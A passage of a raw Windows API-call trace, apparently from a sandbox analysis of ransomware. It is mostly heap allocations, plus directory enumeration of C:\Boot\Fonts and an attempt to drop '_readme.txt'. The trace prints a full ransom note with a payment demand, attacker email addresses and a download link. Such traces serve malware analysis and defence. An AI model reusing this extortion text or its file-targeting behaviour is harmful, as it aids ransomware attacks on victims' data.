hHeap=0x5010000) returned 1 [0111.473] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.473] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.473] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.474] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.474] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.475] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.475] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.475] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.475] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.475] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.475] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.475] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.475] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.475] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.475] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.475] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.475] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.475] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.475] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.475] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.475] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.477] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.477] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.477] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.477] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.477] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.477] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.477] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.477] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.477] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.477] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.477] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.477] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.477] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.477] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.477] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.477] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0111.477] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.477] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.477] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.477] PathFindFileNameW (pszPath="") returned="" [0111.477] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.478] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.478] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.478] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.478] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.478] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.478] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.478] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0111.478] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.478] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.478] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0111.479] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.479] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.479] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.479] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.479] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.479] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.479] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.479] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.479] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.479] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.479] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.479] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.479] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0111.479] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0111.480] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0111.480] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0111.480] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0111.480] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0111.480] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.480] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.480] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.480] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.480] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.480] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.480] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.480] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.480] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.480] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.480] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.480] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.480] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.480] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, 